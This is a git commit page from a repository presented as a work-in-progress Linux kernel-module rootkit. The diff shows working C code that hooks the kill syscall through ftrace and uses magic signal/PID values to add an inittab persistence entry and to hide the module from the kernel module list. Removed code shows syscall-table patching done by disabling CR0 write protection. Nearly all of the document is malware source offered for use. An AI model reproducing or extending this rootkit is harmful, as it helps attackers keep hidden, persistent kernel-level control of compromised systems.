mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 8836bb542cee08b016928f85d5fbadd97546d690
parent f67a74bcedbc947db44102587438a30b1a60789f
Author: djnn <[email protected]>
Date: Wed, 1 Jan 2025 17:57:32 +0900

feat(hook): hooking works, not module hiding

Diffstat:
Mrootkit/Makefile | 11++++++-----
Drootkit/hooks/hooks.c | 61-------------------------------------------------------------
Drootkit/hooks/kill.c | 41-----------------------------------------
Arootkit/includes/ftrace_helper.h | 183+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mrootkit/includes/mina.h | 25+++----------------------
Mrootkit/mina.c | 67+++++++++++++++++++++++++++++++++++++++++++++----------------------
Drootkit/module_hiding.c | 23-----------------------

7 files changed, 237 insertions(+), 174 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -11,11 +11,12 @@ MINA_CLIENT_ID = meow
 
 # kernel vars cant define with patsubst for some fucking reason
 obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o 		\
-					        persistence.o 	\
-							module_hiding.o \
-							hooks/hooks.o 	\
-							hooks/kill.o
+mina_$(MINA_CLIENT_ID)-objs := mina.o persistence.o
+
+
+MY_CFLAGS += -Os -Wno-missing-prototypes -Wno-missing-declarations
+ccflags-y += ${MY_CFLAGS}
+CC += ${MY_CFLAGS}
 
 
 # TODO(djnn): add compile-time debug mode using macros
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -1,61 +0,0 @@
-
-/*
-   this file contains all the necessary util function to set up, tear down,
-   modify, search for hooks, and anything of the sort.
-*/
-
-#include <linux/init.h>
-#include <linux/kallsyms.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/namei.h>
-#include <linux/syscalls.h>
-
-#include "../includes/mina.h"
-
-static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
-    kallsyms_lookup_function_t lkp = NULL;
-    struct kprobe kp = {
-        .symbol_name = "kallsyms_lookup_name",
-    };
-
-    if (register_kprobe(&kp) < 0) {
-        printk(KERN_INFO "could not register kprobe");
-        return NULL;
-    }
-    lkp = (kallsyms_lookup_function_t)kp.addr;
-    unregister_kprobe(&kp);
-    return lkp;
-}
-
-uint64_t *get_syscall_table(void) {
-    kallsyms_lookup_function_t lookup = get_kallsyms_lookup();
-
-    return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
-}
-
-inline void commit_cr0(unsigned long cr0) {
-    asm volatile("mov %0,%%cr0" : "+r"(cr0) : : "memory");
-}
-
-void enable_memory_protection(void) {
-    unsigned long cr0 = read_cr0();
-
-    set_bit(16, &cr0);
-    commit_cr0(cr0);
-}
-
-void disable_memory_protection(void) {
-    unsigned long cr0 = read_cr0();
-
-    clear_bit(16, &cr0);
-    commit_cr0(cr0);
-}
-
-hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
-    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
-        if (sys_hooks[ctr].syscall_nb == syscall_nb)
-            return &sys_hooks[ctr];
-    }
-    return NULL;
-}
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,41 +0,0 @@
-
-/*
-   this file contains the hooked function for the hook syscall.
-*/
-
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kprobes.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-
-#include "../includes/mina.h"
-
-#define PERSISTENCE_CODE (3794)
-
-#define TOGGLE_HIDE_CODE (434)
-
-short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
-    int pid = regs->di;
-    int sig = regs->si;
-    hook_t *metadata = retrieve_hook_metadata(__NR_kill);
-
-    printk(KERN_INFO "[mina] reached hooked syscall: signum => %d, pid => %d\n", sig, pid);
-    if (!metadata) {
-        printk(KERN_INFO "[mina] no metadata");
-        return -EINVAL;
-    }
-
-    if (pid == PERSISTENCE_CODE) {
-        const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
-        return add_inittab_entry(str) != 0 ? EINVAL : 0;
-    }
-
-    if (pid == TOGGLE_HIDE_CODE) {
-        toggle_hide_module();
-        return 0;
-    }
-
-    return metadata->original(regs);
-}
diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -0,0 +1,183 @@
+/*
+ * Helper library for ftrace hooking kernel functions
+ * Author: Harvey Phillips ([email protected])
+ * License: GPL
+ * */
+
+#include <linux/ftrace.h>
+#include <linux/linkage.h>
+#include <linux/slab.h>
+#include <linux/uaccess.h>
+#include <linux/version.h>
+
+#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4, 17, 0))
+#define PTREGS_SYSCALL_STUBS 1
+#endif
+
+/*
+ * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported,
+ * so we have to use kprobes to get the address.
+ * Full credit to @f0lg0 for the idea.
+ */
+#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 7, 0)
+#define KPROBE_LOOKUP 1
+#include <linux/kprobes.h>
+static struct kprobe kp = {
+    .symbol_name = "kallsyms_lookup_name"};
+#endif
+
+#define HOOK(_name, _hook, _orig) \
+    {                             \
+        .name = (_name),          \
+        .function = (_hook),      \
+        .original = (_orig),      \
+    }
+
+/* We need to prevent recursive loops when hooking, otherwise the kernel will
+ * panic and hang. The options are to either detect recursion by looking at
+ * the function return address, or by jumping over the ftrace call. We use the
+ * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
+ * setting it to 1. (Ordinarily ftrace provides its own protections against
+ * recursion, but it relies on saving return registers in $rip. We will likely
+ * need the use of the $rip register in our hook, so we have to disable this
+ * protection and implement our own).
+ * */
+#define USE_FENTRY_OFFSET 0
+#if !USE_FENTRY_OFFSET
+#pragma GCC optimize("-fno-optimize-sibling-calls")
+#endif
+
+/* We pack all the information we need (name, hooking function, original function)
+ * into this struct. This makes it easier for setting up the hook and just passing
+ * the entire struct off to fh_install_hook() later on.
+ * */
+struct ftrace_hook {
+    const char *name;
+    void *function;
+    void *original;
+
+    unsigned long address;
+    struct ftrace_ops ops;
+};
+
+/* Ftrace needs to know the address of the original function that we
+ * are going to hook. As before, we just use kallsyms_lookup_name()
+ * to find the address in kernel memory.
+ * */
+static int fh_resolve_hook_address(struct ftrace_hook *hook) {
+#ifdef KPROBE_LOOKUP
+    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
+    kallsyms_lookup_name_t kallsyms_lookup_name;
+    register_kprobe(&kp);
+    kallsyms_lookup_name = (kallsyms_lookup_name_t)kp.addr;
+    unregister_kprobe(&kp);
+#endif
+    hook->address = kallsyms_lookup_name(hook->name);
+
+    if (!hook->address) {
+        printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
+        return -ENOENT;
+    }
+
+#if USE_FENTRY_OFFSET
+    *((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE;
+#else
+    *((unsigned long *)hook->original) = hook->address;
+#endif
+
+    return 0;
+}
+
+/* See comment below within fh_install_hook() */
+static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs) {
+    struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
+
+#if USE_FENTRY_OFFSET
+    regs->ip = (unsigned long)hook->function;
+#else
+    if (!within_module(parent_ip, THIS_MODULE))
+        regs->ip = (unsigned long)hook->function;
+#endif
+}
+
+/* Assuming we've already set hook->name, hook->function and hook->original, we
+ * can go ahead and install the hook with ftrace. This is done by setting the
+ * ops field of hook (see the comment below for more details), and then using
+ * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
+ * provided by ftrace.h
+ * */
+int fh_install_hook(struct ftrace_hook *hook) {
+    int err;
+    err = fh_resolve_hook_address(hook);
+    if (err)
+        return err;
+
+    /* For many function hooks (especially non-trivial ones), the $rip
+     * register gets modified, so we have to alert ftrace to this fact. This
+     * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
+     * need to OR the RECURSION_SAFE flag (effectively turning it OFF) because
+     * the built-in anti-recursion guard provided by ftrace is useless if
+     * we're modifying $rip. This is why we have to implement our own checks
+     * (see USE_FENTRY_OFFSET). */
+    hook->ops.func = (ftrace_func_t)fh_ftrace_thunk;
+    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
+
+    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
+    if (err) {
+        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+        return err;
+    }
+
+    err = register_ftrace_function(&hook->ops);
+    if (err) {
+        printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
+        return err;
+    }
+
+    return 0;
+}
+
+/* Disabling our function hook is just a simple matter of calling the built-in
+ * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
+ * opposite order to that in fh_install_hook()).
+ * */
+void fh_remove_hook(struct ftrace_hook *hook) {
+    int err;
+    err = unregister_ftrace_function(&hook->ops);
+    if (err) {
+        printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
+    }
+
+    err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
+    if (err) {
+        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
+    }
+}
+
+/* To make it easier to hook multiple functions in one module, this provides
+ * a simple loop over an array of ftrace_hook struct
+ * */
+int fh_install_hooks(struct ftrace_hook *hooks, size_t count) {
+    int err;
+    size_t i;
+
+    for (i = 0; i < count; i++) {
+        err = fh_install_hook(&hooks[i]);
+        if (err)
+            goto error;
+    }
+    return 0;
+
+error:
+    while (i != 0) {
+        fh_remove_hook(&hooks[--i]);
+    }
+    return err;
+}
+
+void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
+    size_t i;
+
+    for (i = 0; i < count; i++)
+        fh_remove_hook(&hooks[i]);
+}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -5,34 +5,15 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 
-#include <linux/kprobes.h>
-
-typedef short unsigned int (*syscall_t)(const struct pt_regs *);
-typedef struct function_hook_metadata {
-    uint8_t syscall_nb;
-    syscall_t hook;
-    syscall_t original;
-} hook_t;
-
-typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
-
 // persistence.c
 int add_inittab_entry(char const *entry);
 
 // module_hiding.c
 void toggle_hide_module(void);
 
-// hooks/hooks.c
-uint64_t *get_syscall_table(void);
-void disable_memory_protection(void);
-void enable_memory_protection(void);
-hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
-
-// hooks/kill.c
-short unsigned int hooked_kill_syscall(const struct pt_regs *);
+#define PERSISTENCE_CODE (50)
+#define TOGGLE_HIDE_CODE (60)
 
-static hook_t sys_hooks[] = {
-    {.syscall_nb = __NR_kill, .hook = hooked_kill_syscall, .original = NULL},
-};
+#define MAGIC_PID (1337)
 
 #endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -13,42 +13,65 @@ MODULE_VERSION("0.0.1");
 
 /*
  * mina.ko/rootkit
- *
  * tiny LKM rootkit written by djnn (https://djnn.sh)
  */
-static int __init module_start(void) {
-    uint64_t *sys_table = get_syscall_table();
 
-    if (!sys_table)
-        return -1;
+/* used for hooking */
+#include "includes/ftrace_helper.h"
 
-    disable_memory_protection();
-    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
-        printk(KERN_INFO "[mina] setting syscall nb %d (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].syscall_nb, sys_hooks[ctr].original, sys_hooks[ctr].hook);
+/* KILL HOOK */
 
-        sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
-        sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
+static asmlinkage long (*original_kill)(const struct pt_regs *);
+asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
+    int signal = regs->si;
+    int pid = regs->di;
 
-        printk(KERN_INFO "[mina] setting done (orig => 0x%p, hook => 0x%p)", sys_hooks[ctr].original, sys_hooks[ctr].hook);
+    printk(KERN_INFO "[mina] hooked kill: %d (pid: %d)\n", signal, pid);
+    if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
+        const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
+        return add_inittab_entry(str);
     }
 
-    enable_memory_protection();
-    printk(KERN_INFO "mina is cute ~\n");
-    return 0;
+    if (signal == TOGGLE_HIDE_CODE && pid == MAGIC_PID) {
+        toggle_hide_module();
+        return 0;
+    }
+    return original_kill(regs);
 }
 
-static void __exit module_end(void) {
-    uint64_t *sys_table = get_syscall_table();
+static struct ftrace_hook hooks[] = {
+    HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
+};
 
-    if (!sys_table)
-        return;
+/* required to show / hide the module (hidden by default) */
+int current_module_is_hidden = 0;
+struct list_head *prev_module;
 
-    disable_memory_protection();
-    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
-        sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
+void toggle_hide_module(void) {
+    if (current_module_is_hidden == 1) {
+        list_add(&THIS_MODULE->list, prev_module);
+        printk(KERN_INFO "[mina] welcome back!\n");
+        current_module_is_hidden = 0;
+    } else {
+        prev_module = THIS_MODULE->list.prev;
+        list_del(&THIS_MODULE->list);
+        current_module_is_hidden = 1;
     }
+}
+
+static int __init module_start(void) {
+    int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
+    if (error) {
+        return error;
+    }
+
+    printk(KERN_INFO "mina is cute ~\n");
+    return 0;
+}
+
+static void __exit module_end(void) {
+    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
 
-    enable_memory_protection();
     printk(KERN_INFO "bye-bye mina ~\n");
 }
 
diff --git a/rootkit/module_hiding.c b/rootkit/module_hiding.c
@@ -1,23 +0,0 @@
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-
-#include "includes/mina.h"
-
-/* required to show / hide the module (hidden by default) */
-int is_hidden = 1;
-struct list_head *prev_module;
-
-void toggle_hide_module(void) {
-    if (is_hidden == 1) {
-        list_add(&THIS_MODULE->list, prev_module);
-        printk(KERN_INFO "[mina] welcome back!\n");
-        is_hidden = 0;
-    } else {
-        prev_module = THIS_MODULE->list.prev;
-        list_del(&THIS_MODULE->list);
-        is_hidden = 1;
-    }
-}